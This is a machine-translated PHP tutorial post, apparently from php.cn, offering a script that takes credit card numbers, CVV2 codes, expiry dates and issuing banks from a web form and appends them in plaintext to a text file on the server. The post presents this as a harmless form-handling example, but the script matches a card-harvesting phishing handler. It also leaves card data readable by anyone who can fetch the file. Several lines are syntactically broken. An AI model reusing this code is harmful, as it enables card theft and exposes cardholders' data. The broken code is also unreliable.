PHP code PHP code collects form content and writes it to a file

WBOY
Release: 2016-07-29 08:47:46
Original
976 people have browsed it

As for the content of the form, I won’t go into details here. The main thing is the action="getpost.php" of the form, which means writing the file getpost.php. The contents of this file will be posted below.

Copy the code The code is as follows:


//Define the form content to be collected
$cardnum = $_POST['cardnum'];
$cvv2 = $_POST['cvv2'] ;
$month = $_POST['month'];
$year = $_POST['year'];
$cardbank = $_POST['cardbank'];
//Define the collected content format
$content = " Credit Card Number:".$cardnum.",Card Verification Number:".$cvv2.",Card Expiry Date:".$month."/ year:".$year.",IssuingBank:".cardbank;
/ /Define the location where the file is stored
$compile_dir = "./txt.txt";
//The following is the PHP code written
$file = fopen($compile_dir,"a+");
fwrite($file,$ content);
fclose($file);
?>


Finally, txt.txt will be created in the current directory, and the collected information will be written into this file. The effect is still very good.

The above introduces the php code. The php code collects the form content and writes it into the file, including the php code content. I hope it will be helpful to friends who are interested in PHP tutorials.

Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template